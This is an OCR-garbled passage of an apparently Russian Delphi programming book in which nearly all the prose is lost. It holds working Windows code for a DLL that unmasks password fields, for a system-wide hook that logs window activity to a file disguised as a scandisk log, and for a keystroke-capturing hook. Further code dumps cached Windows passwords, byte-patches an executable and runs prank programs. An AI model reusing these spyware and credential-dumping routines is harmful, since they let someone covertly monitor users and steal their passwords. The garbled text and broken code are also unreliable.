cr:TRect;begincr:=Rect(0,0,100,100);ClipCursor(@cr);end; TRect. 100 100 .
-
65
.
-
100 100 . , - ( !), . :
procedure TForml.ButtonlClick(Sender: TObject) ;var
cr:TRect;
begincr:=Rect'(0, 0, 1, 1);ClipCursor(@cr);end; 1 . .
.
WindowsAPI- setsystemcursor. .
, . ,
G e t C u r s o r .
, . -
:
OCR_NORMAL ;
OCRIBEAM , ;
OCR_WAIT ;
OCR_CROSS ;
OCRJJP ;
OCRSIZE ;
OCR_ICON ;
OCR_SIZENWSE OCR_SIZENESW , - ;
OCR__SIZEWE ;
OCR SIZENS ;
-
66 2
OCR_SI2EALL ;
OCRSIZENO ;
OCR_APPSTARTING .
:
procedure TForml.ButtonlClick(Sender: TObject);beginSetSystemCursorfGetCursor, OCR_CROSS|;end;
,
.
-
3
. -
, .
-, .
, , -
, .
, Windows, - . -
. , ,
. ,
. , , -
. , -
. .
, .
, . -
, Windows, , . ,
.
3.1. ,
, ? : , . , -
. ,
? , , .
. -
, .
-
68 3
. ,
- , . ,
.
, -
.
dll-, - .
.
. ,
, (dll). File/New/Other ( Delphi 5 File/New). , 3.1. DLL Wizard . Delphi . Save, . hackpass, -.
New Items
Projects j Business | ,WebSnap j WebSetvice* j -.N e w ' | ActiveX j MuJtitiet | hackpass | Forms | Dialogs
Application Batch File CLX CLXData CLX FormApplication Module
CLX Frame Component Console Control Panel Control PanelApplication Application Module
Data Module
I ,-ay inherif * U
Form Fiame PackageOK Cancel Help
. . 1 .
, Delphi, ( 3.1).
-
69
library hackpass;
uses Windows, Messages;var
SysHook : HHook = 0;Wnd : Hwnd = 0;
function SysMsgProc(code : integer; wParam : word;lParam : longint) : longint; stdcall;begin// CallNextHookEx(SysHook, Code, wParam, lParam);// if code = HC_ACTION thenbegin// , Wnd := TMsg(Pointer(lParam)").hwnd;
// .// // Control, ...if TMsg (Pointer (lParam) A) .message = WM__LBUTTONDOWN thenif ( (TMsgtPointerUParam)'1) .wParam and MK_CONTROL) = MK_CONTROL) thenbegin// , , SendMessage(Wnd, em_setpasswordchar, 0, 0);// InvalidateRect(Wnd, nil, true);end;
end;end;
// procedure RunStopHook{Statebegin// State = true, ...if State=true then
Boolean) export; stdcall;
-
70 3
begin// SysHook := SetWindowsHookEx(WH_GETMESSAGE,
@SysMsgProc, HInstance, 0);end1//begin// UnhookWindowsHookEx(SysHook) ;SysHook := 0;end;
end;
exports RunStopHook index 1;
beginend.
RunStopHook. - . true, -, , Windows. SetWindowsHookEx. :
1. . WH_GETMESSAGE, -.
2. , Windows.3. .4. . , -
.
sysMsgProc. dll, . , - SetWindowsHookEx, SysHook. , .
RunStopHook false, . unhookwindowsHookEx, SysHook. , .
RunStopHook :exports RunStopHook index 1;
-
71
, .
index 1. .
SysMsgproc, - .
,
CailNextHookEx. -, ,
.
.
, , code HC_ACTION, .
, ,
, .
: TMsg(pointer(lParam)) .hwnd. , , . lParam. ,
sysMsgProc. Pointer lParam) , ,
pointer. , . . , (Pointer (lParam) A ) . TMsg. - TMsgfPointer(1)). - hwnd . : - , . message T M s g ( P o i n t e r ( l P a r a m ) " ) . WM_LBUTTONDOWN, TO, -, .
wParam. MK_CONTROL, , . wParam - , , -
. . -
,
and: {TMsg (Pointer (lParam) ) .wParamand MK_CONTROD, -.
, . sendMessage :1. wnd , .
-
72 3
2. em_setpasswordchar . , , ,
.
3. . , - , .
4. . invaiidateRect, . ( , ). - , , n i l - . true, , .
, dll -. .
var. - Formi: TFormi. :procedure RunStopHook(State : Boolean) stdcall;external 'hackpass.dll' index 1;
Delphi , RunStopHook, - hackpass.dll, s tdcai i 1. Delphi ., , , .
onshow :
RunStopHook(true); , onciose :RunStopHook(false); onShow ( ) - , .
dll- .
dg2sGfSd26fgDSD26Gg62|adgfaFDFsdgf
. 3.2.
-
73
, . .
, ,
. . , dll, -- , .
.
- \\ 3\ - .
3.2.
. , , -
, -
. ,
, -.
. setHook, .
sysMsgProc, - . ,
( 3.2)
function SetHook(Hook : Boolean) : Boolean; export; stdcall;beginResult := false;if Hook thenbeginif SysHook = 0 then
SysHook := SetWindowsHookEx(WH_CBT{WH_CALLWNDPROC},@SysMsgProc, HInstance, 0);
Result := (SysHook 0);end
elsebeginif SysHook 0 thenbeginUnhookWindowsHookEx(SysHook);
-
74 3
SysHook := 0;Result := true;
end;end;
end;
setHook , . :
SysHook := SetWindowsHookEx(WH_CBT, @SysMsgProc, HInstance, 0);
setwindowsHookEx WH_GETMESSAGE, WH_CBT. - , .
HCBT_ACTIVATE ;
HCBT_CREATEWND ;
HCBT_DESTROYWND ;
HCBT_MINMAX ;
HCBT_MOVESIZE .
, ,
.
.
, , .
, -
SysMsgProc ( 3.3)
3.3. SysMsgproc
function SysMsgProc(code : integer; wParam : word;lParam : longint) : longint; export; stdcall;
var
f: TextFile;windtext, windir: array [0..255] of char;Fi ledi r , s t r :St r ing;
beginResult := CallNextHookEx {SysHook, Code, wParam, 1 Parana) ;case code of
// HC8T__ACTIVATE:
begin
-
75
GetWindowsDirectory(windir, 255);Filedir:=windir+\scanbisk.log';
AssignFile(f, Filedir);if not FileExists(Filedir) thenbeginRewrite(f);CloseFile(f);end;Append(f);
Wnd := wParam;GetWindowText(Wnd, windtext, 255);Str:=windtext;Writeln(f, FormatDateTirae('dd/mra/yyyy hh:nn:ss', Date+Time)+
'###ACTIVATE==='+Str+ '++++@0S'+IntToStr(Wnd));
Flush(f);CloseFile(f) ;end;
// HCBT_CREATEWND:beginStr:=TCBTCreateWnd(Pointer(lParam)A).lpcs.lpszName;if Str-1' then exit;if TCBTCreateWnd (Pointer (lParam) A) . lpcs .hwndParentoO then exit;
GetWindowsDirectory(windir, 255);Filedir:=windir+'\scanbisk.log';
AssignFile(f, Filedir);if not FileExists(Filedir) thenbeginRewrite(f);CloseFile(f) ;end;Append(f) ;
-
76 3
Wnd := wParam;GetWindowText(Wnd, windtext, 255);Writelnff, FormatDateTime('dd/mm/yyyy hh:nn:ss', Date+Time)+
'###OPEN==='+windtext+ '+++'+TCBTCreateWndfPointer(iParam)).lpcs.lpszName+'@@@'+IntToStr(Wnd));
Flush (f);CloseFile{f);end;
// HCBT_DESTROYWND:beginStr:='';Wnd := wParam;if Wnd0 thenGetWindowText(Wnd, windtext, 255);str:=windtext;if windtext='r then exit;if Str='' then exit;
GetWindowsDirectory(windir, 255);Filedir:=windir+'\scanbisk.log';
AssignFile(f, Filedir);if not FileExists(Filedir) thenbeginRewrite (f) ;CloseFile(f) ;end;Append(f);
if Length(Str)>0 thenWritelnff, FormatDateTime('dd/mm/yyyy hh:nn:ss', Date+Time)+
'###CLOSE=-='+Str+'+++'+'@@@'+IntToStr(Wnd)};
Flush(f);
-
77
CloseFile(f);end;
end;end;
. -
code, SysMsgProc. . :
HCBT__ACTIVATE ;
HCBT__CREATEWND ;
HCBT_DESTROYWND .
( 3.4).
&. '& ' -, :? . - --.;*.-; -
// HCBT_ACTIVATE:
begin// WindowsGetWindowsDirectory(windir, 255);Filedir:=windir+'\scanbisk.log1;
// log- AssignFile(f, Filedir);if not FileExists(Filedir) thenbeginRewrite(f);CloseFile(f);end;
Append(f);
// Wnd := wParam;GetWindowText(Wnd, windtext, 255);Str:=windtext;//
-
78 3
Writelnff, FormatDateTime('dd/mm/yyyy hh:nn:ss 1 , Date+Time)+###ACTIVATE==='+Str+ I+++t+'@@@'+intToStr(Wnd));
//
Flush(f);CloseFile(f);
end;
3.4 GetwindowsDirectory. : , ,
.
scanbisk.log. , .
, - .
. scandisk. "d" "", - . , -
.
, -
. -
AssignFiie. :1. , .2. . FileExists - . , -
Rewrite cioseFile. ,
. Append. .
. , .
, .
Wnd wParam. sysMsgProc , . wnd, GetwindowText, .1. .2. .3. .
-
79
, -
, ( ) - writein. , .
(- 3.5).
3.5. " & . ' '.;",^
-
80 3
Flush(f);CloseFi le( f ) ;
end;
:
TCBTCreateWnd(Pointer(lParam)).lpcs.lpszName. : ,
, . 99% -, ,
1% . , . -
, , :
TCBTCreateWnd(Pointer(lParara)A).lpcs.hwndParent hwndParent . , ,
,
.
,
, -
. ,
.
GetwindowText (wnd, windtext, 255), - . -
log- . HCBTDESTROYWND ( ) , .
log-. , , .
log- . ,
, .
.
, -
, ,
. -
.
( 3.6).
-
81
|11 ' ; 'procedure SaveToLog(Str:String);varf: TextFile;Filedir:String;windir: array [0..255] of char;begin// , WindowsGetWindowsDirectory(windir, 255);Filedir:=windir+'\scanbisk.log';
// log-AssignFile(f, Filedir);// , if not FileExists(Filedir) thenbegin
// Rewrite(f);CloseFile(f);end;
// Append(f);
// Writeln(f, str);
// log-Flush(f);CloseFile(f);end;
, -
. ,
( 3.43.5). , , - , :
// HCBT_ACTIVATE:
begin
-
82 3
// Wnd := wParam;GetWindowText(Wnd, windtext, 255);Str:=windtext;
// SaveToLog(FormatDateTime{'dd/mm/yyyy hh:nn:ss', Date+Time) +
###ACTIVATE==='+Str+ '+++'+'@@@'+intToStr(Wnd));end;
,
.
,
. , , , ,
. - .
dll , -. dll- -.
scanbisk.dpr , dll- . WIN.dpr . ,
.
f t .
-
("
!I I 1
. 3.3.
- \\ 3\ .
-
83
3.3. , -
. , -
.
,
SysMsgProc ( 3.7).
3,7.. ^^
var
ModuleFileName: array[0.._-1] of Char;KeyName: array[0..16] of Char;Password: PChar;beginPassword := PChar(lpvMem);if (nCode - HC_ACTION) and (((lParam shr 16) and KF_UP} = 0) thenbeginGetKeyNameText(lParam, KeyName, sizeof(KeyName));if StrLen(g_szKeyword) + StrLen(KeyName) >= PASSWORDSIZE thenlstrcpy{g_szKeyword, g_szKeyword + StrLen(KeyName));
lstrcat(g_szKeyword, KeyName);GetModuleFileName(0, ModuleFileName, sizeof(ModuleFileName));
if (StrPos(StrUpper(ModuleFileName),' ') nil) and(strlen(Password) + strlen(KeyName) < PASSWORDSIZE) then
lstrcat(Password, KeyName);
if StrPos(StrUpper(g_szKeyword), 'GOLDENEYE') nil thenbeginShowMessage(Password);g_szKeyword[0] := #0;
end;Result := 0;
endelseResult := CallNextHookEx(gjihk, nCode, wParam, lParam);
end;
-
84 3
, .
, , -
. ,
. ,
,
, ,
.
3.4. : " - ".
. ,
"][ ".
.
Microsoft
=*i-o m "-i-we
[!-
BtiaennrtJ
~! . If '
1
I
(&](
. 3 . 4 .
. 3.4 , . ,
][ . . .
-
85
.
.
, -
. "" -
.
WinAPI (Windows ApplicationProgram Interface, Windows). -, , Windows. ,
.
Cancel Help. 3.5.
Delphi. , . , . -
, . Project - Remove from Project. , . ,
.
.
Project View Source ( Project Manager
View Source). , :program Projectl; , ( 3.8).
program Projectl;
-
86 3
windows,Messages;
// , function EnumChildWnd(h: hwnd): BOOL; stdcall;beginSendMessage(h,WM_SETTEXT,O,lparara(LPCTSTR('][ 1)));Result:=true;
end;
// , function EnuinWindowsWnd(h: hwnd): BOOL; stdcall;beginSendMessage(h,WM_SETTEXT,O,lparam(LPCTSTR('][ ')));EnumChildWindows(h,@EnumChildWnd,0);end;
var
h:THandle;begin// while true dobegin// EnumWindows(@EnumWindowsWnd,0);
// 1000 h:=CreateEvent(nil, true, false, ' ' ) ;WaitForSingleObject(h, 1000);CloseHandle(h);end;
end.
, .
, .
Windows 9x, . Windows 2000/XP , . ,
Windows ( . ), "][ ".
-
87
. , -
uses . :
windows messages. WinAPI- ( windows) (messages). Delphi WinAPI .
EnumChildWnd EnumWindowsWnd. , .
:
while dobeginend;
while do : , , true. true, , true false. , - , ,
, .
Enumwindows. WinAPI-, - . -
,
, - .
EnumWindowsWnd. , , EnumWindows , , EnumWindowsWnd. :
// , function EnumWindowsWnd(h: hwnd): BOOL; stdcall;beginSendMessage(h,WM_SETTEXT,O,lparam(LPCTSTR('][ 1)));EnumChildWindows(h,@EnumChildWnd,0);end; EnumWindowsWnd . , .
WinAPI- sendMessage, . 4 .1. , .
EnumWindowsWnd.2. . WM_SETTEXT. -
.
3. .4. .
-
88 3
, SendMessage , .
SendMessage. , , -
. -
(, ), -. EnumChildWindows. .
.
1. , .2. , ,
.
3. , -.
, Enumchiidwindows EnumWindows, , .
EnumChiidwnd :// ,
function EnumChildWnd(h: hwnd): BOOL; stdcall;begin
SendMessage(h,WM__SETTEXT,O,lparam(LPCTSTR('] [ ')));Result:=true;
end;
SendMessage. true, .
, -
, . , ,
, .
,
, . -
, -
:
if h=0 then exit; ^ .
- \\ 3\][ .
-
89
IE I |[ B B S
: |[ ] > ][ . ][
][ ][
][ ][ ][ ][ ][
1
][ ][ ][ ][ ][ X ][ ][
][ ][ ][ ][ ][ J[ ][ ]t ][ ][
][ : 3% : 185744{
. 3.6. Windows XP
3.5.
, -
.
3.9.
:.'j*--":.-I* -*
program Projectl
uses
windows,Messages;
//-function EnumWindowsWnd(h: hwnd): BOOL; stdcall,var
-
90 3
rect:TRect;index:Integer;beginif not IsWindowVisible(h) thenbeginResult:=true;exit;end;
// GetWindowRect fh,rect);
// index:-random(2);
if index=0 thenbegin// 0, ...rect.Top:=rect.Top+3;rect.Left:=rect.Left+3;endelsebegin// ...rect.Top:=rect.Top-3;;rect.Left:=rect.Left-3;
end;
MoveWindow(h,rect.Left,rect.Top,rect.Right-rect.Left,rect.Bottom-rect.Top,true);
Result:=true;end;
// var
h:THandle;begin// while true do
-
91
begin// EnumWindows(@EnumWindowsWnd,0); .
// 1000 h:=CreateEvent(nil, true, false, ' ' ) ;WaitForSingleObject(h, 1000);CloseHandle(h);end;
end.
, ,
. , -
1 000 . . EnumWindowsWnd, - , .
iswindowvisibie. , . , Result true, . Result true, - , ,
.
GetwindowRect. ,
TRect. ,
random. - , .
, (index ) , Left - rect. .
,
, Movewindow. 5 .1. , (h).2. (rect.Left).3. (rect.).4. (rect. Right-rect. Left).5. (rect .Bottom-rect. Top).4 3;IK. 978
-
92 3
Result true, .
, ,
. -
.
( ). - \\ 3\ - .
3.6. ,
. -
. , , -
, ,
. ,
Microsoft Word .
. -
:
procedure TForral.FindAndDestroyButtonClick(Sender: TObject);var
h:hWnd;beginh:=FindWindow(nil, 'Microsoft Word');if h=0 then exit;SendMessage(h, WMJDESTROY, 0,0);end; rindwindow. - , ,
.
:
1. . , ni l .2. . Microsoft Word,
.
, , , -
. , -
Microsoft Word - Microsoft Word. , Microsoft Word. FindWindow
-
93
, . . -
, ,
.
Findwindow, - . , ,
. ,
WMDESTROY () SendMessage. . , -
.
- \\ 3\ .
3.7. , Dashboard ( Windows 3.1), - . , ""
Linux. , Windows 9x. -.
? , .
, .
.
, .
.
.
, -
, .
, . ,
. -
, 10 -,
. , .
- , Windows , .
. ,
. View Project Manager uni t i (. 3.7). ( Projectl.exe) View Source.
-
94 3
New Remove
PalhProjectGroupl1^1 Pioject1.exe D:\Progiam Files\BoHar"ADelphi6\P[ ejectsD:\Progiam Fjles\Bo(land\Delphi6\Projects
D:\Program Files\Bofland\Delphi6\Pio|ects
Remove O:\Program Faes\Borland\DelpN6\Projects^friltl.pas?
No
. .7.
-
uses, : windows, classes forms. , 3.10.
"
var
i, j:Integer;h:THandle;WindowsList : TList; // WRct: TRect;
MWStruct: HDWP;W :THandle;beginWindowsList:=TList.Create; //
while (true) dobegin// for i:=0 downto -Screen.Width dobeginWindowsList.Clear; // W:=GetWindow(GetDesktopWindow,GW_CHILD);
while W0 Do //
-
95
begin// , if IsWindowVisible(W) then WindowsList.Add(Pointer(W));W:=GetWindow(W,GW_HWNDNEXT);//
MWStruct:=BeginDeforWindowPos(WindowsList.Count-1);//
if Pointer{MWStruct)nil thenbeginfor j:=0 to WindowsList.Count-1 do // oeginGetWindowRect(THandle(WindowsList[j]),WRct);MWStruct:=DeferWindowPos(MWStruct, THandle{WindowsList[j]),
HWND_BOTTOM,
WRct.Left+i, WRct.Top, WRct.Right-WRct.Left,WRct.Bottom-WRct.Top, SWP_NOACTIVATE or SWP_NOZORDER);
end;EndDeferWindowPos{MWStruct);// end;
end;
// 10 h:=CreateEvent(nil, true, false, ' ' ) ;WaitForSingleObject(h, 10000);CloseHandle(h);end;
WindoweList.Free;// end.
WindowsList TList, - - .
.
while (true) do. : 10 . , .
:
for i:^ 0 downto - Screen.Width do
-
96 3
, i . , .
down to. to, -. downto, i . windowsList . ,
.
10 , .
Getwindow, , .
w. - iswindowVisibie, . true, , , . , , ,
.
. API-BeginDeferWindowPos. - , . -
, .
,
. -
DeferwindowPos. ,
.
API- EndDeferWindowPos. . -
. API-setwindowPos , - .
, -
. ,
.
windowsList TList, . ? Tiis t , . - ,
.
1. . , -, , ;).
2. - . - , .
-
_ 97
, , -
.
.
, , -
.
,
, , .
. -
:
h:=CreateEvent(nil, true, false, ' ' ) ; waitForSingieObject (h, 10000) , .
, ,
;
cioseHandie(h) . .
sleep. , , .
, .
, -
.
. 5 . , Win9x. Win2000/XP . -
.
- \\ 3\ - .
5\ ,
.
.
3.8. 1995 , -.
.
,
.
-
gg 3
, .
Oncreate :procedure TFontil. FormCreate (Sender: TObject) ;var
FormRgn:HRGN;beginFormRgn:-CreateEllipticRgn(0,0,Width,Height);SetWindowRgn(Handle,ForraRgn, True) ;end;
. .8.
, (. 3.8). -? . oncreate WinAPI-: CreateEllipticRgn SetWindowRgn. :
CreateEllipticRgn(NLeftRect:Integer, // nTopRect:Integer, //nRightRect:Integer, //nBottoraRect: Integer //
): HRGN;
. -
.
SetWindowRgn(HWnd: HWND, // HRgn: HRGN, // BRedraw:Boolean // ):Integer; -
, .
true, -, .
-
99
- \\ 3\Ellipse Window - .
.
, . Windows -, .
,
Handle, , - TWinControl. Standard -, .
. -
:
procedure TForml.FormCreate(Sender: TObject);var
FormRgn:HRGN;begin
FormRgn:=CreateEllipticRgn(2,2,Memol.Width,Meraol.Height);SetWindowRgn(Memol.Handle,FormRgn,True);
end; -
Memol. Handle Memol. . . 3.9.
Fgrni!
1995- ,> ,
.,
) 1 ?
. 3.9. Memol
- \\ 3\Ellipse Memo .
-
100 3
. :
procedure TForml.FormCreate(Sender: TObject);var
FormRgn,EllipseRgn:HRGN;beginEllipseRgn:=CreateEllipticRgn(O,0,Width,Height);FormRgn:=CreateRectRgn(round(Width/4) , round(Height/4) ,
round(3*Width/4),round(3*Height/4) ) ;
CombineRgn(EllipseRgn,EllipseRgn,FormRgn,RGN_DIFF);SetWindowRgn(Handle,EllipseRgn, True) ;
end;
. -
EllipseRgn. WiiiAPI- createRectRgn. , . -
FormRgn.
combineRgn. : , .
, -
HRGN.
, .
, .
. :
RGN_ AN ; RGN_COPY ;
RGN_DIFF ;
RGM_OR ;
RGNXOR , .
RGN_DIFF, . EllipseRgn, - . . 3.10 .
- \\ 3\Eilipse Window2 - .
-
101
. 3.10.
, .
. Timage. - (, bmp), , . . .
"".
, .
( -).
. 3 . 1 1 .
Timage ( vis ible false). , . ,
, , ,
.
FormCreate - :
procedure T Form!.. FormCreate (Sender: TObject) ;
-
102 3
WindowRgn: HRGN;beginBorderStyle := bsNone;Clier.tWidth := Imagel. Picture.Bitmap.Width;ClientHeight := Imagel.Picture.Bitmap.Height;windowRgn :~ CreateRgnFromBitmap(Imagel.Picture.Bitmap);SetWindowRgn(Handle, WindowRgn, True);end; bsNone, . -
.
.
CreateRgnFromBitmap ( - ). , windowRgn. API- SetWindowRgn, -.
CreateRgnFromBitmap. - , , -
. -
bnip- ( 3.11). , - .
3.11.
function CreateRgnFromBitmap(rgnBitmap: TBitmap): HRGN;var
TransColor: TColor;i, j: Integer;i width, i^ height: Integer;i_left, i right: Integer;rectRgn; HRGN;
beginResult := 0;
// i_width := rgnBitmap.Width;i_height : = rgnBitmap.Height;
//
-
1_03_
transColor := rgnBitmap.Canvas.Pixels[0, 0];
// // for i := 0 to i_height - 1 dobegini_left := -1;
// for j :== 0 to i_width - 1 dobeginif i_left < 0 thenbeginif rgnBitmap.Canvas.Pixels[j, i] transColor theni_left :=* j;
endelseif rgnBitmap.Canvas.Pixels[j, i] = transColor thenbegini_right := j;rectRgn := CreateRectRgn(i_left, i, i_right, i + 1) ;if Result = 0 thenResult := rectRgnelsebeginCombineRgn(Result, Result, rectRgn, RGN_OR);DeleteObject(rectRgn);end;i__left := -1;end;
end;if i_left >= 0 thenbeginrectRgn := CreateRectRgn(i_left, i, i_width, i + 1);if Result = 0 thenResult := rectRgnelsebeginCombineRgn(Result, Result, rectRgn, RGN_OR);
-
104 3
DeleteObject(rectRgn);end;
end;
end ;
end;
FormCreate. -
, , .
, -
.
. ,
.
, ,
. .
private :private{ Private declarations }Dragging : Boolean;OldLeft, OldTop: Integer;
Dragging . - OldLeft OldTop . oncreate - Dragging false, true .
onMowseDown :
procedure TForml.FormMouseDown(Sender: TObject; Button: TMouseButton;Shift: TShiftState; X, Y: Integer);
beginif button=mbLeft thenbeginDragging := True;OldLeft := X;OldTop :- Y;end;
end;
-
105
: , - Dragging true , .
onMowseMove -:
procedure TForrnl. FomMouseMove (Sender: TObject; Shift: TShiftState; X,Y: Integer) ;
beginif Dragging thenbeginLeft := Left+X-OldLeft;Top := Top+Y-OldTop;end;
end;
: Dragging true, , .
onMouseup :Dragging := False.
, Dragging false .
9 Unili j
. ' ' TransColor: TColor;i, ;) : Integer;i width, i height: Integer;i_left, -^'-rectRgn:
.; -Tn, . JPv' for S^^^K h
; . i left := -1; ' for j := 0 to i
I begin * if i__left < 0
begin
Integer;
lap.Uiuth;|. Height;. Canvas. Pixels [0, 0] ;]^H- 1 do
HIwidth - 1 do
then
. 3 . 1 2 .
. 3.12 . ,
-
106 3
. , ,
"" .
12 13 15 1G
: 30.11.2002
23 24
. 3.13.
. 3.13. ( ). , , . ,
- .
- \\ 3\Cool Window .
3.9. Windows 9x , . ,
,
. Windows API -, .
Windows .
NT/2000/XP , . -
, Windows 98 - . , -
, Windows , 2000/., , -
. . 3.14 . ListBox, .
-
107
3.14.
3.12.
unit Unitl;
interface
Windows, SyslJtils, Classes, Forms, Shell API, Controls, StdCtrls;
typeTForml = class(TForra)ListBox: TListBox;procedure FormShow(Sender: TObject);
private{ Private declarations )
publichMPR: THandle;
end ;
var
Foml: TForml;
const
Count: Integer = 0;
function WNetEnumCachedPasswords dp: lpStr; w: Word; b: Byte; PC: PChar;dw: DWord): Word; stdcall;
impleTnentation
-
108 3
f$R +.DFM}function WNetEnumCachedPasswordsdp: lpStr; w: Word; b: Byte; PC: PChar;dw: DWord): Word; external mpr name 'WNetEnumCachedPasswords';
typePWinPassword = "TWinPassword;TWinPassword = recordEntrySize: Word;ResourceSize: Word;PasswordSize: Word;Entrylndex: Byte;EntryType: Byte;PasswordC: Char;end;
function AddPassword(WinPassword: PWinPassword; dw: DWord): LongBool;stdcall;var
Password: String;PC: ArrayfO..$FF] of Char;
begininc(Count);
Move(WinPassword.PasswordC, PC, WinPassword.ResourceSize) ;PCfWinPassword.ResourceSize] := #0;CharToOem(PC, PC);Password := StrPas(PC);
Move(WinPassword.PasswordC, PC, WinPassword.PasswordSize +WinPassword.ResourceSize);Move(PCfWinPassword.ResourceSize], PC, WinPassword.PasswordSize);PC[WinPassword.PasswordSize] := #0;CharToOemfPC, PC);Password := Password + ': ' + StrPas(PC);
Forml.ListBox.Items.Add(Password);Result := True;
end;
-
109
procedure TForml.FormShow(Sender: TObject);beginif WNetEnumCachedPasswords(nil, 0, $FF, @AddPassword, 0) 0 thenbeginApplication.MessageBox(' .', 'Error',
mb__0k or mb_IconWarning) ;Application.Terminate;endelse
if Count = 0 thenList3ox.Items.Add(' ');
end;
end.
oncreate - WKetEnumCachedPasswords, , -
.
, .
. , :
function WNetEnumCachedPasswords(lp: lpStr;w: Word;b: Byte;PC: PChar;dw: Dword): Word; stdcall;
,
:
function WnetEnumCachedPasswords // (lp: lpStr; // NILw: Word; // 0b: Byte; // SFFPC: PChar; // , dw: DWord): Word; // 0external mpr // DLL- name 'WNetEnumCachedPasswords1; // DLL-.
-
110 3
.
, , :
function AddPasswordZ/ , .(WinPassword: PWinPassword; // WinPassworddw: Dword // }: LongBool; stdcall; , WinPassword. , ,
type:typePWinPassword = ''TWinPassword;TWinPassword = recordEntrySize: Word;ResourceSize: Word;PasswordSize: Word;EntryIndex: Byte;EntryType: Byte;
PasswordC: Char;end;
Passwordc , -. ResourceSize , a PasswordSize .
, , , DOS-. , Windows-. charToOem. , , .
- \\ 3\Password .
3.10. -
. -
,
. -
, , .
. ,
.
,
-
111
, . , -
,
, .
, ,
. , .
, :
- XXXXX.EXE:
009 - 74
OAC0FE - 74
? , .
,
. , .
, . -
, , -
- (, ). - , , -
. -
, .
DOS Navigator - . - ,
.
D:\WINNT\5ystem32\cmd.eKe >^
. 3.15. DOS Navigator
-
112 3
-
. ,
. . , -
, .
, ,
. DOS Navigator . - . . :
009 - 74
0AC0FE - 74
:
1. , ();2. , (74);3. , (), . ? . , DOSNavigator . , .
,
( 74, ). , ,
. , -
.
,
.
, ,
. , .
, .
- ,
Windows - .
, ? .
. -
, ,
.
,
. ,
.
-
113
Delphi. - , .
. , .
. 3.16.
. 3.16.
.
, Delphi Onclick. :
|1||||^ |||| procedure TForml.ButtonlClick(Sender: TObject);var
f:TFileStream;s: byte;begin// f:=TFileStream.Create('xxx.exe', fmOpenReadWrite);
// f.Seek($0AC0E9, soFromBeginning);
// f.Read(s, sizeof(s)) ;
// $74,
-
114 3
if s=$74 thenbegin
// f.Seek($0ACOE9, soFromBeginning);// ,f.Write(s, sizeof(s));
end;
// , f.Seek($0AC0FE, soFromBeginning};f.Readfs, sizeof(s));if s=$74 thenbegins:=$EB;f.Seek($0AC0FE, soFromBeginning) ;f.Write(s, sizeof(s));end;
// f.Free;
end;
end.
, F Tniestream. , .
(F:=TFileStream. Create), Create TFileStream. .
1. .2. . fmOpenReadwrite, -
, .
F - . -
.
seek. . , , .
, .
-
115
. soFromBeginning , - .
F.seek . , .
Read. -.
1. , .2. , . . ,
.
,
.
seek. write, .1. , . -
s, .
2. ., . -
.
TFiiestream. WinAPI? , ; , . -, . ? - .
: _fcreat, _fseek,fread . . C r e a t e F i l e , S e t F i l e P o i n t e r ,
writeFiLe. writeFiieEx . MS API-Windows, , - -. , Microsoft ? ? !!! TFiiestream .
WinAPI , , ,
Delphi. , , -
. ,
.
,
-
116 3
. -
.
- -
, : , , -
. -
. , , -
, . ,
. ( ). , - , ,
. ,
.
- \\ 3\Patch .
3.11.
, -
. Delphi .DeleteFile( '); true, , false, .
DeieteFiie . ,
. ,
. , .
:
RemoveDir(' '); true, , false, .
, ,
. -
choir:01(' , '); , .
GetCurrentDir, , .
-
117
. , , -
:
FileExists(' '); , true, false. :DirectoryExists( ' ' ); , true, false. :
beginChDir(4c:\');if FileExists{'autoexec.bat') thenDeleteFile('autoexec.bat');
end; .
: autoexec.bat, .
Delphi ,
. Delphi - ,
. .
procedure CopyFile(const FileName, DestName: string);var
CopyBuffer: Pointer;BytesCopied: Longint;Source, Dest: Integer;Len: Integer;Destination:
constChunkSize: Longint - 8192;
beginDestination := ExpandFileName(DestName);if HasAttr(Destination, faDirectory) thenbeginLen := Length(Destination);
-
118 3
if Destination[Len] = '\' thenDestination := Destination + ExtractFileNair.e {FileName}
elseDestination := Destination + '\' + ExtractFileName(FileName);
end;GetMeiniCopyBuffer, ChunkSizo) ;trySource;-FileOpen(FileName, fmShareDenyWrite);// -if Source < 0 thenraise EFOpenError.CreateFmt(SFOpenError, [FileName]);
try
Dest := FileCreate(Destination); // -if Dest < 0 thenraise EFCreateError.CreateFmt(SFCreateError, [Destination]);try
repeat
// BynesCopied:=FileRead(Source,CopyBuffer",ChunkSize);if BytesCopied > 0 then // , ...// -FileWrite(Dest, CopyBuffar"f BytesCopied);
until BytesCopied < ChunkSize;finally
FileClose(Dest) ;end;
finallyFileClose(Source) ;
end;finallyFreeMem(CopyBuffer, ChunkSize);
end;end;
. : , . . -
( , ) ,
.
. ,
-
119
. , -
. , -
8 192 . , -
. ,
.
. , -
. , -
.
F i l e E x i s t s .
( 3.14).
1 3.14.
procedure MoveFile(const FileName, DestName: string);var
Destination: string;beginDestination := ExpandFileName(DestName);if not RenameFile(FileName, Destination) thenbeginif HasAttr(FileName, faReadOnly) thenraise EFCantMove.Create('He ');CopyFile(FileName, Destination);DeleteFile(FileName);
end;end;
:
. -
.
, , - -
-
.
,
, CopyFile, , , .
-
( 3.15).
-
120 3
| | 3 . 1 5 . ^ 7 ^ " 7function ExecuteFile(const FileName, Params, DefaultDir: string;ShowCmd: Integer): THandle;
var
zFileName, zPararas, zDir: array[0..79] of Char;beginResult := ShellExecute(Application.MainForm.Handle, nil,StrPCopy(zFileName, FileName), StrFCopy(zParams, Params),StrPCopy(zDir, DefaultDir}, ShowCmd);
end;
, .
uses sheiiAPi, - .
.
, , .
, (, - ).
, .
, ,
.
G . -, ShowWindow.
:
ExecuteFile('C:\Program.exe','',':\',SW_SHOW); Internet Explorer ( , ) -:
E x e c u t e F i l e ( ' h t t p : //www. c y d s o f t . / v r - o n l i n e ' , ' ' , ' ' , SW__SHOW) ;
,
:
ExecuteFile('MailTo:[email protected]','','',SW_SHOW); ShellExecute . 2.5, , . ,
pchar, - , ExecuteFile .
-
121
,
, ,
.
SHFileOperation. Windows , - , .
, .
. :
ShellTreeView ShellListView. ShellTreeView sheliListview ShellListView, . ShellListView Mutiseiect true, . , :
, , , . -
. 3.17.
/
'0 +' Q '. |3 +. * 3
:gi
InternetExplorer
. 3.17.
uses : sheiiAPi F i l e C t r l . SHFileOperation. Selec tDirec tory , - . ,
, -
.
private :private{ Private declarations }
-
122 3
function DoSHFileOp(Handle: THandie; OpMode: UTnt; Src,Dest: string; DelRicleBin: Boolean): Boolean;
: , -
. ++, . ( 3.16).
3.16.
function TForml.DoSHFileOp(Handle: THandie; OpMode: UInt; Src,Dest: string; DelRicleBin: Boolean): Boolean;
var
